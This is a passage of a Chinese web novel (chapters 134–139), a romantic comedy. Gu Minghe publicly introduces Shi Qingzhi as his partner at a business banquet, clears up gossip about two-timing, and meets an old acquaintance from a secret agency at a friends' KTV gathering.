时清徵一只手放在他的肩上,另一只手摁在他的领带上。 唇齿相依。 六分钟。 我们不要说话。 第134章 他是我的爱人 车辆通过这个路口,难怪后方的路段这么拥堵,原来是前方有个红灯。 车辆停在了深海大厦的停车场里。 时清徵给顾鸣鹤整理了一下领带。 “先生,走吧。” 顾鸣鹤下了车,时清徵也顺势把一直没发出去的信息编辑好发了出去。 二人上了顶楼,此时宴会厅里人已经到得差不多了。 顾鸣鹤一出现,瞬间吸引了全场的目光。 倒不是因为他真会发光,而是来这的不少人其实就是冲着他来的。 顾鸣鹤鲜少出席这种宴会,此次居然破天荒来了,他们自然不可能错过这次机会。 一瞬间,就像是出现了上学时期班里忽然陷入安静的效应,宴会厅安静了一瞬,只闻角落里演奏的琴声。 原本一些没注意到这边的人也纷纷向这儿投来目光。 时清徵也不可避免地被人上下打量了一番。 生面孔。 他们认识顾鸣鹤身边的李特助,这位年轻,显然不是。 但也有不少知道内幕的。 顾鸣鹤养了只金丝雀儿,这在圈中不是什么秘密。 顾鸣鹤第一次带时清徵去发小组的局上玩时,在场的就有不少京城二世祖们。 虽然他们干啥啥不行,但论起收集小道情报和互换八卦来,就连一流狗仔们也要逊色几分。 没人明上说,但各自都心知肚明,甚至在私下的小群中疯狂讨论过一阵儿了。 算是听自己那败家子提过一嘴,只知道是个绝色美人。 不过这算是废话。 不美怎么可能被顾鸣鹤看上? 诸位老狐狸们脑子转得比谁都快。 原本以为是个上不得台面的小情儿,如今顾鸣鹤居然公然把这个人带到宴会上来了。 岂不是说明这个人在顾总心中的分量并不一般? 眼珠子滴溜溜地一转,心中就摸了个七八清。 这群家伙可比他们那群没脑子且口无遮拦的败家子聪明得多,一瞬间心脏就有了计较。 面上端着笑,朝着顾鸣鹤走了过去。 “顾总,好久不见啊。” 不过短短时间,顾鸣鹤身边已经自动形成了一个结界, 一个圈,把他们俩围中间。 和顾鸣鹤攀谈地功夫,也不忘偷偷打量时清徵。 两人虽然表现地不是很亲密,但见二人相处交谈时却是格外自然。 凡事不能看表面,要通过现象看本质。 也有人想趁机与顾鸣鹤拉近关系,端着酒杯笑问:“顾总身边的这位是.......?” 顾鸣鹤闻言,唇角微不可察地扬起一个柔软的弧度。 他偏过头,目光落在时清徵侧脸,眼神里的温柔几乎能将人溺死:“他是........” “时董?!” 一句介绍尚未出口,就被另一道略显急促的声音突兀地打断了。 众人循声望去,只见光影娱乐的总裁周景深正从侧厅快步走来,像是刚处理完什么急事。 他目光直直落在时清徵身上,脸上瞬间堆满了毫不作伪的惊讶与惊喜。 “您来了怎么也不提前通知我一声?我好安排人下去接您。” 全场:“........” 正准备云淡风轻炫媳妇,结果话头被硬生生掐断的顾鸣鹤:“.........” 莫名被推到聚光灯正中心的时清徵:“.........” 周遭陷入一种诡异的死寂。 所有原本带着探究的,或者轻慢打量的目光此刻全都凝固了。 众人僵硬的把视线在周景深和时清徵身上来回转着。 聪明如他们,一时间也没有摸清楚头脑。 但他们可以清楚一点,这个俊秀男子是周景深口中的时董。 能让周景深态度这么恭敬,他们电光火石间想起了一个人。 光影娱乐背后那个神秘的董事? 一时间,觉得时间误判对方身份的众人有些莫名的心虚和尴尬。 心中怒骂自己。 呸,怎么就先入为主了呢?对方的气度也明显不是一般人啊。 周景深这时才迟钝地察觉到气氛不对。他环视一圈,看着众人脸上的怪异表情,后知后觉地感到了困惑。 他的视线最后才落到被围在中心,此时面色有些微妙的顾鸣鹤身上。 带着几分刚回魂的茫然和礼貌性的招呼,开口道: “顾总,您也在啊?” 顾鸣鹤因为刚才的事很不想理这个人,但本着礼貌还是点头回应。 挤在顾鸣鹤和时清徵身边的人因为心虚,都默默散开了。 周景深这才发现两人站得很近,似乎是认识。 周景深怔了片刻:“时董,顾总,二位......认识?” 顾鸣鹤几乎要把牙咬碎了,但还是维持着体面的姿态。 他趁机应下周景深的话,揽了下时清徵的腰,将先前没说完那句话接下去了。 “他是我的爱人。” 周景深:........ 刚在内心偷偷说服自己,他们二人只是特殊合作关系的众人:........ 给我们一点消化时间,信息过载,脑子有些不够用了。 但他们自然不会说出来,只能有些木讷地看着顾鸣鹤,希望对方能说得清楚些。 有些人目光落在时清徵身上,似乎是求证。 时清徵微笑,点头,语气坦然:“是的。” 死寂,比刚才还要多几分寂静。 就连乐队也不知道什么时候停了。 周景深身处于风暴中间,还有些没反应过来。 爱.....爱人? 不是? 等等,让我捋一下。 但是现实可没时间让他从头捋到尾。 晚宴的主持人正好在此刻通过麦克风,请天和集团与光影娱乐代表上台。 天和集团代表自然是顾鸣鹤。 光影娱乐的代表原先是周景深,但此时时清徵也在。 周景深看了一眼时清徵,见对方没有搭理自己的意思,只能硬着头皮询问。 “时董.......?” 时清徵:“我是陪顾总来的。” 周景深:“.......好的。” 明白了,这句话的意思就是不关他事。 两人上台在众人面前简单发言后,晚宴才算正式开始。 就在二人发言的功夫,也有不少人凑到时清徵身边,暗戳戳询问。 “时.....时董与顾总在一起很久了?” “对。” 那人:....... 自家那臭小子,哪来的破消息? 你管这叫小情人啊? 老子看你脑子不好使,眼睛也瞎了。 遥远的某个夜店,一个公子哥忽然打了个喷嚏。 搓搓鼻子:“谁想我了?” 第135章 顾总脚踏两条船? 台上二人简单做了发言。 下来后,顾鸣鹤发现时清徵身边挤满了人。 时清徵对商业这一块明显兴致缺缺,对应酬更是头疼。 但来都来了,他还是点头跟身边人简单聊了些。 围过来的那些人感觉到时清徵没什么兴致,恰好顾鸣鹤又回来了,也就识趣散开了。 人群散开,大厅水晶吊灯灯光落在时清徵身上。 不知怎的,顾鸣鹤觉得这光打得相当好看,时小徵穿西装的模样更是比平时多出些正经来。 站在光下,有种摄人心魄的风采。 顾鸣鹤心中就这么生起了些独占欲,脚步也快了些。 另一边周景深做完发言,才有些懵地走下台。 助理此时将他的手机递了过来:“周总,有消息。” 周景深有两个号,一个生活号一个工作号。 应酬时却也会把手机调成静音,但为了避免错过一些重要消息,手机就暂时放在助理那了。 周景深看了一眼。 是时清徵发来的一串消息,让他看到自己时不用管。 消息,十五分钟前。 周景深:....... 他看了眼助理:“怎么不早点拿过来?” 助理没有看周景深的手机,但对方是发消息过来,只觉得不是什么急事。 但是此刻看周景深的表情,好像自己想错了。 “方才您和株潭的王总谈生意,我就没第一时间找您。结果还没靠近,您就走到......顾总那边去了.......” 后来周景深又上台,自然又没见到。 周景深有些头疼,摆手对有些战战兢兢的助理道:“没事,你先下去。” 他看着时清徵的那个方向,只见时董和顾总在交流什么。 想了想最终还是没有过去。 晚宴结束再去跟时董说清楚吧。 晚宴结束后,时清徵和顾鸣鹤就先离开了。 周景深忙着应酬,又没抽出时间来见时清徵。 最后只能私发了一条消息,解释清楚缘由,希望没有给对方造成困扰。 时清徵那时已经坐在车上了,收到消息也只是回了句“没事”。 周景深这才放下心来。 这一场晚宴过后,有关顾鸣鹤身边的风言风语又多了起来。 某个不靠谱的公子哥一边翻过沙发靠背,一边逃跑。 “爸,你是我亲爸,我不就多喝了几瓶酒吗,你打我干甚?” “爸,爸啊!” 哭天喊地尝试唤起父爱。 某个差点在宴会上翻车的老总抽出皮带追着自家不成器的玩意。 “玩屁,你说的是什么鬼消息,谁告诉你顾总身边那人是金丝雀的?” 那个公子哥显然也没想到话题会跳跃的如此快。 愣神的片刻屁股上挨了一记老爹的重锤。 “嗷——” 瞬间蹦出二里地。 脑子转的比上高中的时候都快,疯狂回忆着:“顾总自己说的啊!” 老总皮带本来都收起来了,听到这句话又拎了出来。 “还隔这说胡话,我揍死你个臭小子!” “嗷——爹——亲爹,你信我啊,真的是顾总自己说的,靳少和宋总那时候也在场呢?” 公子哥痛哭流涕,只觉得比窦娥还冤。 那个老总这时候也冷静了下来:“是吗?” “对啊。”那个公子哥偷偷朝门口蹭过去,一边点头一边溜。 “那就奇怪了。” “奇怪什么?” 快到门口了,公子哥眼睛一亮,已经看到了胜利的曙光。 “莫非......莫非顾总三心二意?!”老总心中有了个大胆地猜测。 顾总和时董在一起还不够,在外面还包了个金丝雀?! 他好像发现真相了。 就在他说没打算再问自己儿子对方的长相细节时,自己儿子早就没影了。 只看见一个还在晃荡的大门。 老总:“.......” 败家子儿! 看你下次回来老子不打断你的腿。 这种八卦的事传得是最快的,只过了一晚,顾鸣鹤脚踏两条船的事就先从那群纨绔子弟之间传开了。 很快就传到了靳云封和宋燕归的耳中。 宋燕归还特意打了个电话过来。 “哟,这不是咱们深情专一的顾总吗,听说脚踏两条船啊?” 顾鸣鹤此时正在给时清徵打下手,慢悠悠地洗菜,就把手机开着免提放到台子上。 闻言洗菜的动作都顿了一下:“........” 他偏头看了一眼在身边煮面的时清徵。 时清徵也听到这句话了,扭头看了顾鸣鹤一眼。 顾鸣鹤:“........” 下一秒直接要蹦起来了。 “我草,宋燕归你个傻逼在说什么梦话?” 把顾鸣鹤都逼得爆粗口了。 他连手都没来得及擦干,直接拿起手机,恨不得顺着电话过去暴揍这人一顿。 宋燕归:“哎,咱们顾总还不知道啊?” “知道什么?” 顾鸣鹤抽了张纸,把手擦干。 顺便把手机屏幕上的水渍也擦掉。 时清徵没说话,只是接过洗了一半的青菜,重新打开了水龙头。 洗完菜,放进锅里煮,很快就熟了。 时清徵将面盛好,准备一手一碗端出去。 顾鸣鹤见状单手拿着手机,另一只手去接时清徵手中的碗。 没接到,因为时清徵躲了一下。 “别乱动,烫。” 然后自己倒是很泰然地走了出去,对站在后面的顾鸣鹤道:“拿筷子。” 顾鸣鹤照做,然后也跟着走出了厨房。 等他在时清徵身边坐下时,差不多已经听明白宋燕归的意思了。 “谁在胡说八道?” 宋燕归搁电话那头幸灾乐祸:“谁知道呢。” 八卦这件事就是真真假假,假假真真。 能把一件真的事说的绘声绘色,建立在事实的基础上,用自己的主观想象构建出的八卦才更吸人眼球。 而顾鸣鹤也在今天体会到了什么叫八卦的力量。 以前他倒是对八卦这种事兴味盎然,很乐意听别人的事。 但八卦放在他身上顾鸣鹤忽然就不那么开心了。 尤其是这八卦还八卦错了。 顾鸣鹤对此表现出了点儿不满:“胡说八道,我明明对我家时小徵一往情深。” 宋燕归本想着再调侃两句,但忽然像是摸清了什么一样。 默了两秒,反问了句:“所以......光影娱乐的那个董事和你家那位....是同一个?” 第136章 不张扬,却很难忘 顾鸣鹤语气中带着些许小得意:“嗯哼~” 对面的宋燕归被顾鸣鹤这有些炫耀,有些得意的调调恶心到了。 沉默,良久的沉默。 久到顾鸣鹤都想把电话给挂断了,宋燕归这才有些神情呆滞地开口: “顾鸣鹤?” 顾鸣鹤:“还有事?” “你耍我?” 顾鸣鹤:“谁有空耍你啊,有事说事,没事挂了。” 宋燕归带着点儿看透一切的平静,又透出几分生无可恋来。 “今晚靳二在夜色包了场,一起去喝一杯。” “不去。”顾鸣鹤拒绝得干脆。 宋燕归像是早料到他会这么说,不急不缓地抛出下一句: “别急着说不。你知道这派对是为给谁办的吗?” “给他爷爷办的?”顾鸣鹤随口乱接道。 “呵......”宋燕归无语一笑。 “是给他未婚妻,卢安岚。” 顾鸣鹤眉头一动:“未婚妻?” 他想了半天,才想起来,问道:“卢家那位?” “没错。”宋燕归语气里带了些看热闹不嫌事大的意思。 “我们几家是世交,卢安岚现在回国,我们不到场,不合适。” 他顿了顿,声音压低了些: “再说了,靳二亲自打的电话,话里话外都是要我们必须到。这面子不给,往后见面都难堪。” 顾鸣鹤沉默片刻,终于松了口: “行,那就去看看吧。” 挂断电话后,顾鸣鹤才眨眼望着时清徵:“一起去?” 那双眼就那么盯着时清徵,眼尾微扬,带着些期许,好似只要对方拒绝,下一秒就会耷拉下来。 “好啊。” 顾鸣鹤心满意足了。 二人如今一直住在市中心的那套别墅里,并没有请住家保姆。 平时都是保姆定时定点上门来做饭打扫。 不过这两天保姆家里突然出了事,请了一周的假。 半山庄园那边的李婶本来想过来帮忙,但她手头还有些杂事没处理完,今天实在抽不开身,只能明天再来。 所以才有了两人难得一起下厨房这一幕。 吃完饭,顾鸣鹤主动地去洗碗,一边洗还一边跟时清徵吐槽。 “那群人嘴里没一个消息是靠谱的。” 时清徵:“没事,别管他们。” 顾鸣鹤把碗放回柜中,擦擦手,如今往时清徵身上一搭:“那哪行啊,我就你一个媳妇儿,他们这不是抹黑我名声嘛。” “嗯。” 时清徵很是认同地点了下头。 顾鸣鹤则是有些得意洋洋地低头蹭了下时清徵的发丝:“今晚就让他们知道我宝贝儿就只有一个。” “是不是啊时小徵?” 时清徵:“对。” ———— 说是一起长大的,其实卢念安早在十岁那年就去了国外,一直在国外读书。 顾鸣鹤对她着实没有印象。 倒是靳云封那未婚妻的称号........ 原本是没什么人知道的,双方也没有订婚,不过长辈一时戏言时订的娃娃亲。 但耐不住靳云封着实不着调,身边时常有人拿他的娃娃亲来打趣他。 一来二去,圈子里也都知道了。 顾鸣鹤带着时清徵到了夜色,边走还边跟时清徵说着。 “老一辈定下的娃娃亲,现在都虽然不兴这一套,但也不可能轻易揭过,得看双方怎么处理。” “不过靳二那小子成天鬼混也没个正形,也不知道那个卢家小姐会不会嫌弃。” 说话间,两人已经到了包厢外。 还没走进去,就听见一声鬼哭狼嚎,不知道的还以为里面的人在杀猪庆祝呢。 时清徵听了一会才反应过来是有人在唱歌。 倒不是有多难听,而是感情实在是太强烈了。 有种公鸡被掐着脖子干嚎的绝望劲儿。 走进去,才发现是靳云封正举着个麦克风激情开唱。 晃眼的灯光乱七八糟地撒下,让靠近的人都有些晕了。 宋燕归一脸嫌弃地看着靳云封,但也没说什么,从果盘里拿了个梨就开始啃。 头被震得有些晕,有些后悔让靳云封上台了。 正在此时看见从外面走进来的顾鸣鹤和时清徵。 两人的手十指紧扣,姿态亲密。 顾鸣鹤正对时清徵说了句什么,让人忍不住笑了一下。 顾鸣鹤也跟着笑。 宋燕归哪里见过自己这个兄弟这么不值钱的模样,都有些没眼看。 也没第一时间开口,而是沉默着啃自己手中的梨。 顾鸣鹤拉着时清徵坐下,笑意盈盈。 “哟,顾哥,好久没见你出来玩了。”有人开口笑道。 顾鸣鹤没说话,已经有另外一个人搭腔了。 “那肯定啊,咱顾总多忙啊,哪像我们一样游手好闲呢?” 顾鸣鹤也笑着接了几句,时不时偏头跟时清徵说几句话。 在这里的人基本跟他们是一个圈子的,都相互认识。 彼此间私下也就随便打趣。 有部分人是对时清徵有印象的,先前靳云封组的一个局顾鸣鹤就带他来过。 而且这人长得吧,着实惊艳。 哪怕是这群人不喜欢男人,也不得不感慨一句漂亮。 不是雌雄莫辨的漂亮,而是带着些锋芒,但又不会让人觉得凌厉。 不张扬,却很难忘。 那种美不仅是浮在表面的皮囊,也是一种气场,自有分量。 也难怪能让顾哥沉迷成这样。 顾鸣鹤带人来过两次,几个月前的那一次,还有这一次,态度转变的不要太明显。 在座的虽然是吃喝玩乐的纨绔,但基本的眼力见还是有的。 没看见顾哥都快粘人家身上去了吗? 啧...... 有生之年啊,也能看到这样的顾哥。 这些公子哥们对了个眼神,小群里疯狂交流。 【不是说顾哥对象是光影娱乐的董事吗?好家伙,顾哥身边蓝颜密度也太高了吧?斜眼笑.jpg】 【我怎么觉得眼前这位才像真爱.......吃瓜.jpg】 【可光影那位是顾哥亲口认过的啊。迷惑.jpg】 【你们喝的酒都进脑子里了?脑子被泡发了?】 【???警告你,我离你就五米,说话小心点。微笑.jpg】 【呵,我是有没有一种可能,光影的董事和现在他身边这位,根本就是同一个人呢?喝茶.jpg】 第137章 卢安岚 众人:........ 【你放屁,顾哥第一次带他来就说过玩玩,你玩个什么董的给我看看呢?】 【 急什么,人家玩着玩着成董事了不行?】 【别太荒谬,你觉得合理吗?】 【这世界就是个巨大的草台班子.......】 【话又说回来,他叫什么来着?】 这群人自然不会闲到去关注顾鸣鹤身边人叫什么,而知道时清徵名字的靳云封他们几个人也不会参与这些讨论。 最后已经有些人已经开始求助宋燕归了,直接挤到他身边。 “宋哥,之前不是说顾哥的爱人是.....光影的那位吗?” 宋燕归的梨子才啃了一半,闻言又用力咬了一口。 咔嚓一声,像是泄愤一样。 “对啊。” “啊,那顾哥身边这位.......” 宋燕归皮笑肉不笑:“这不是同一个人吗?” 那人:....... 群里。 【嗯.......顾哥好魄力,我们都是找些小明星玩,他直接玩上.....董事了!?】 【太花了,我都看不下去了。】 【你抬头看看那边呢,谁玩谁还不一定呢。】 【雀食.....】 【艹,居然是假八卦,是谁在乱传?!抓狂.jpg】 【开除吃瓜大队。发怒.jpg】 【附议!】 【附议+10086。】 就在一群人拿着手机埋头蛐蛐的时候,又有人从外面走进来了。 时清徵和顾鸣鹤同时抬头看过去,然后不约而同地重新别过视线。 来人是宋燕回。 宋燕回第一眼就看见坐在沙发中最显眼的两个人,表情也有一瞬间的不自然。 但很快又恢复了那副冷淡的表情,默默坐到一旁。 三个人很默契,谁都没有开口。 就在宋燕归忍不住想要骂一句靳云封,让他有点自知之明,赶紧闭嘴的时候。 “不是说欢迎会?谁在杀驴?”一道有些轻柔的女音响起,有点儿嗲嗲的。 虽然嗲,但很自然,并不会让人觉得不舒服。 此时语气里还带着点儿嫌弃,很不给靳云封面子。 众人的视线纷纷望向门口,却见说话那人是许家的小女儿,许知白。 而许知白旁边站着的身量极高的人正是卢安岚。 此时她站在一众世家小姐中间,身高显得格外突出。 特别是.....寸头?! 靳云封面不改色地唱完最后一句,还特意拉长了调子。 全场的人因为卢安岚的那句话都安静了下来,与此同时,歌声也愈发嘹亮。 众人都被迫听着靳云封那“动人”的歌喉,表情一个比一个精彩。 靳云封像是斗胜的公鸡,拿着麦克风开口。 “来来来,让我们欢迎卢大小姐回国。” 说完,带头鼓起掌来。 然后把麦克风放到一个正在鼓掌的人的手边儿,鼓掌的声音就愈发的大了。 显得格外的诡异。 比这氛围更诡异的是时清徵,顾鸣鹤以及宋燕回的表情。 时清徵低骂了句,然后凑到顾鸣鹤耳边:“第七局成员都是从你们这几家选的吧?” 有些咬牙切齿。 来人不是别人,正是拉尔斯所谓的干女儿,阿南。 顾鸣鹤和宋燕回显然也不知道阿南就是卢安岚,表情也有些僵硬。 卢安岚眯眼看着靳云封在那里蹦跶,也没什么生气的表情。 只是当她看到熟悉的面孔时,神情明显有点僵硬,然后变得茫然了。 埃,埃特纳斯? 卢安岚先前在东南群岛任务时就认出了顾鸣鹤和宋燕回。 但并没有向两人吐露过自己的身份,所以在这里见到他们两个也并没有很意外。 只是...... 为什么埃特纳斯也在这里啊?! 只不过他们几人的视线先是对上几秒,然后迅速挪开,假装谁也不认识谁。 时清徵举起酒杯放在唇边遮掩,小声道:“地球果然是一个村。” 顾鸣鹤:“.......的确是这样的。” 见靳云封这副吊儿郎当的模样,一同随卢安岚来的闺蜜团们不乐意了。 有个人直接上前,还没激情开麦,就被卢安岚拉了回去。 “我们坐吧。” 靳云封见卢安岚退让,得意地扬眉,朝自己那几个发小做了个“目的达成”的表情。 只可惜他那几个发小一个个都深陷自己的心思,根本没空搭理他。 靳云封表情做给空气看。 靳云封:....... 说是欢迎会,其实也是靳老爷子逼着靳云封办的。 老人家的心思在那里搁着,很明显了。 卢家和靳家也算是门当户对,两家也深有交情,要是能促成这一门婚事,自然算好事。 所以就给靳云封一个表现机会。 但靳云封这种花花公子,怎么可能任由自己多个未婚妻? 所以就想出了这么一个馊主意。 向卢安岚展示出自己的不靠谱,让对方知难而退。 如今目的......算是达成了吗? 靳云封偷瞄了卢安岚几眼,却见这人的表情有些古怪。 迷茫? 靳云封同样问号脸地坐回到沙发上,一旁有个人凑上来开玩笑。 “靳少,未婚妻长得不赖嘛。” 靳云封的滚字还没说出口,卢安岚就先说话了。 “不是未婚妻,还请慎言。” 卢安岚的身高实在突出,看上去几乎和靳云封不相上下。 这身高许多男士都未必能达到,也确实容易让身边的男性感到些压力。 再加上她那身利落中带着冷感的装扮,更显得气场十足,跟她身边那些姑娘们简直不像一个画风。 但此时坐在那群女生中间,说说笑笑,一点也不违和,反而分外和谐。 卢安岚回国后其实已经私下见过一圈人。 虽然风格与众不同,却意外地很受千金小姐们的欢迎。 试问,谁能拒绝一个男友力爆棚的女闺蜜呢?! 更何况她虽风格独特,却丝毫没有隔阂感,很快就融进了这群女孩子的圈子里。 从化妆品到私人收藏,她都能侃侃而谈,见识广博,什么话题都接得住。 回国没几天,就已经刷满了一众女孩子的信任和好感。 也难怪刚才许知白一见靳云封那副吊儿郎当的样,就忍不住开口怼他。 许知白此时一脸嫌弃,补充了句:“别来沾我卢姐姐的边。” 说完扭头看着一旁的卢安岚,瞬间变了脸色,低柔着嗓音开口:“是吧卢姐姐?” 第138章 我回去亲口说给先生听啊 卢安岚那边的姐妹统一战线,而靳云封就比较可怜了。 他的几个发小要么忙着发呆,要么忙着谈恋爱,根本没空搭理他。 靳云封只能心里告诉自己:好男不跟女斗。 顾鸣鹤伸手挡住时清徵喝酒的动作,低声道:“少喝些。” 时清徵也没跟他争,很听话地把酒杯放到桌子上。 在外面他还是很给顾鸣鹤面子的。 顾鸣鹤:“我给你剥个橘子?” 还没等时清徵点头,他就捞了个果盘里的橘子,自己剥了起来。 时清徵跟这些人也不熟,认识他的几人此时各自怀揣着小秘密,心思各异,也不可能上来搭话。 他就侧目看着顾鸣鹤手中的动作,看他一点一点剥去外皮,还将白色橘络也剥了个干净。 时清徵第一次跟顾鸣鹤来这种场所时也剥过一个橘子,但他就剥得就很粗糙了。 没顾鸣鹤这么细致。 顾鸣鹤将橘瓣送到他嘴边,没说话,时清徵就已经很自然地咬了过去。 “再吃一瓣。” 时清徵拒绝:“你自己吃。” 顾鸣鹤又说了一遍,低声哄了句。 时清徵只好又把另一瓣橘子也吃了下去,随后就抬手拒绝。 “不要。” 顾鸣鹤有点儿遗憾,他刚找到投喂的乐趣呢。 虽然灯光迷离,音乐打击感阵阵,但还是有些人注意到这边。 有诧异的,有啧啧称奇的,有不可置信的。 还有磕CP上瘾的。 “啊!” 许知白抓着卢安岚的衣袖,没忍住低声叫了下。 两个人都是神颜,谁懂啊。 简直不要太上头。 卢安岚的胳膊被小姑娘来回晃了晃,也能感受到许知白的激动。 但是卢安岚显然不是只看见表面的人,她只觉得惊奇,然后像是知道了什么真相一般。 难怪当初在机场外,埃特纳斯这么轻易就把他们给放走了。 原来还有这么一层因素吗? 她敛了下眸子,看向宋燕回那边。 只见那人正和宋燕归交谈着什么,表情依旧是那么正儿八经。 都是一群小年轻,气氛很快就热络了起来。 靳云封撺掇着几个人打牌,玩游戏,就连许知白也去凑了热闹。 倒是顾鸣鹤,反而显得有些过分安静了,守在时清徵身边,似乎对这些没什么兴趣。 宋燕归坐在桌上远远地招呼:“鸣鹤,来玩玩儿啊。” 顾鸣鹤刚想拒绝,就听时清徵说:“你去吧,我想自己坐会。” “你嫌弃我?” 顾鸣鹤瞪眼,顾鸣鹤委屈。 “没,我就是想看你玩。” 时清徵这么说了,顾鸣鹤也没拒绝,得意地笑着:“让你看看我的技术。” “嗯。” 顾鸣鹤过去了,卢安岚看了时清徵一眼,还是走过去,状似漫不经心道:“时.....少不过去一起玩?” 时清徵抬眼看着他,摇头拒绝:“还是算了吧。” “时....少与顾总认识很久了?” 卢安岚一时还有些改不了口,主要是主观意识让她有些难以接受。 刚才从许知白口中,她也知道了一些有关时清徵的事。 怎么说呢? 看不出来啊。 时清徵一提起这个就有些来了兴趣:“对啊,我与顾先生认识有一段时间了,卢小姐很好奇吗?” 卢安岚:“......并不是很好奇。” 但时清徵哪里管她呢,还是自己说自己的。 最后来了句:“......可能这就是爱情吧。” 卢安岚面无表情地听时清徵挑挑拣拣讲完了两人的爱情故事。 其实也没什么内容。 就是无脑夸,夸出花的那一种。 忽然在这一刻,卢安岚觉得时清徵在自己心目中的形象已经跟埃特纳斯有些割裂了。 她甚至觉得时清徵可能只是个跟埃特纳斯长得一模一样的两个人。 眼前这人比起自己在东南群岛见过的那个埃特纳斯,明显多了些不着调和恶劣。 甚至话中还透露出些恋爱脑的性质来。 卢安岚看着对方笑意盈盈等自己评价的模样,憋半天憋出了句干巴巴的话: “那可真是恭喜啊。” 时清徵点头:“谢谢。” 卢安岚:“........” 有种无力感,不知从何说起。 时清徵像是打开了话匣子:“卢小姐是在国外学音乐的?” 卢安岚已经有些麻木了,闻言点头。 “那卢小姐跟宋二少肯定有得聊了。”时清徵发自内心地感慨一句。 你说这第七局,找的人怎么净是艺术生呢? 咱能别光逮着艺术生霍霍啊。 两人也没有交谈几句,反而是有其他几个人凑了上来。 有明里暗里问顾鸣鹤的,也有单纯想跟时清徵认识的。 还有几个看热闹撺掇卢安岚上去献歌的。 结果卢安岚一个眼神过去,那些人瞬间闭了嘴。 不唱就不唱,那么凶做什么? 顾鸣鹤那边打完一轮,回头看自家时小徵,却见那边很是热闹。 有男有女,自己原本的位置被一个男的给坐了。 那个男的还跟时清徵聊些什么。 因为位置原因顾鸣鹤看不清那个男的表情,却见时小徵是一脸轻松的。 不爽。 很不爽。 他叫了时清徵一声。 “宝贝儿。” 声音说大不大,但也足够这一圈的人听清。 众人的目光齐齐向顾鸣鹤看去,顾鸣鹤则是一脸坦然,再次叫了声。 “宝贝儿,过来。” 时清徵也停住了话头,起身往顾鸣鹤那边走去。 刚站到顾鸣鹤身边,就被人扯着腕子拉着坐了下来。 此时宋燕回站在一边洗牌,顾鸣鹤就趁着发牌的机会凑到时清徵耳边,吃味道: “聊什么呢?” 时清徵:“跟他聊我有多爱你。” 顾鸣鹤眼睛一亮:“真哒?” “嗯。” 顾鸣鹤的心情瞬间美滋滋:“那确实得多说一会,哦,对了,你录音没,我也想听。” 时清徵压低声音,颇有些暧昧地凑到人耳边:“听什么录音啊,回去我亲口说给先生听啊。” 说着,自己也笑了下。 拿到牌的宋燕归瞥了一眼牌,然后盯着对面那咬耳朵的情侣,敲敲牌开口: “还打不打了?” 顾鸣鹤的心思一半多都飞到身边人那儿去了,只是略敷衍地点了下头。 “继续。” 第139章 大鹤先生 桌上的几个都是牌场老手了,而顾鸣鹤依旧是游刃有余的模样。 还时不时稍微调戏一下时清徵。 虽然每句调戏都能被时清徵面不改色地稳稳接下。 有时还还几句。 顾鸣鹤这局打得明显比上一局更开心。 “宝贝儿,等我赢了给你买宵夜。” 时清徵看着顾鸣鹤手里的牌:“嗯,那先生加油。” 坐下另一边直面两个人恋爱暴击的宋燕归:........ 真是越打越憋屈。 谁还没个对象一样? 他把烟掐灭在烟灰缸里,开口插着两人的话。 “清徵你跟鸣鹤认识这么久了,怎么还叫得这么客气啊?” 顾鸣鹤扬眉刚想说:谁准你叫我家时小徵清徵的? 但时清徵却先开口回答了那个问题: “因为顾先生喜欢。” 说着偏头看向顾鸣鹤,浅浅一笑:“是不是啊,先生?” 顾鸣鹤内心默默补了一句:我也喜欢你叫得更肉麻一点。 嘴上应着:“对啊,我喜欢。” 可又觉得宋燕归说得有道理,他凑近时清徵,压低声音:“对啊时小徵,你干嘛叫得这么客气?” 时清徵眼神微微一动,语气却依然平稳: “因为我就喜欢用客气的称呼做一些不客气的事。” 顿了顿,又轻笑着问:“或者,先生想让我叫别的?鸣鹤?阿鹤?还是......学你叫顾小鹤?” 顾鸣鹤听到前半句,不知想到什么,喉结轻轻一滚。 听到后半句又忍不住笑出来:“顾小鹤?宝贝儿,你确定?” 时清徵像是真的认真思考了一下,片刻后抬起头,声音不大不小地飘出一句: “顾大鹤?” 桌上人没注意两人说了什么,但却听到了这个称呼。 桌上顿时一静,随即有人没忍住,“噗”一声笑了出来。 顾大鹤?怎么听起来土里土气的。 时清徵私下是这么称呼顾哥的吗? 一时间,牌桌上人的表情都丰富了起来,憋着笑对眼神,谁也没笑出声。 算是很给顾鸣鹤面子了。 这个话题就那么轻轻揭过。 而时清徵之所以那么叫自然有自己的私心。 很多人偏爱昵称,是因为昵称本身就带有温度和亲密。 而先生这个词就显得有些距离感,听起来冷冰冰的。 可时清徵喜欢看这个词在两人的相处中被慢慢捂热的感觉。 染上他的气息和温度,而后赋予这个词新的意义。 他喜欢看顾鸣鹤与这个词一起沦陷,直到彻底属于自己。 时清徵这点小心思自然没打算说给顾鸣鹤听,而他的目的其实早就达成了。 顾鸣鹤也没过多纠结,因为他本就乐在其中。 但很快,美色误事就很好地展现了出来。 被喂了一嘴狗粮的众人心照不宣地开始针对起了顾鸣鹤。 就你要赢我们的钱吃宵夜是吧? 吃西北风去吧! 嫉妒使人面目全非,此言非虚。 这一局,全牌桌的恶意都吻了上来。 顾鸣鹤技术是不错,但也不深谙此道。 牌桌上几人都是老手,他也不可能一打三,在几个人的针对下,这局果真输掉了。 其他三人:美滋滋。 笑容不会消失,只会转移。 “反派三人”虽然只赢了点在他们眼里根本不值得一提的小钱。 但此时愉悦的心情就像是看见股价涨了一样。 可别提多痛快了。 一个字,爽! 但顾鸣鹤哪肯放过这个机会,逮着时清徵就开始“哭诉”。 时清徵:“没事啊,那换我请大鹤先生吃夜宵。” 反派三人:....... 真是草了。 糟心呐! 偏生这时另一个牌桌上又响起了一阵猖狂的笑声。 许知白甩着牌,一拍桌子,嚣张开口:“还有谁?!” 那得意劲儿把对手气得牙痒痒,偏生又是真的打不过,只能低头先装孙子。 “反派三人”:人的悲喜真的是不相通的。 真的。 —————— 这场局过后,倒是有不少有趣的消息传了出去。 而顾鸣鹤的目的显然也达成了。 这下那群乱传顾鸣鹤脚踏两条船谣言的人都知道,顾鸣鹤左右脚都踏同一条船。 不是船,是巨轮。 谁不知道顾鸣鹤被家里那位迷得死死的。 最终八卦以众人感叹的“英雄难过美人关”为结尾。 不过谁是英雄,谁是美人还有待商榷。 谁还敢再提顾总养的是金丝雀?只觉得最开始说这句话的人纯眼瞎。 人家正儿八经谈恋爱,你看给人家传的。 都成啥样了。 唯有少数几个知道真相的也没发言。 谁能料到顾鸣鹤居然是个恋爱脑呢? 态度变得比谁都快,打脸跟龙卷风一样。 你倒是幸福地改口了,也不提醒兄弟们一句。 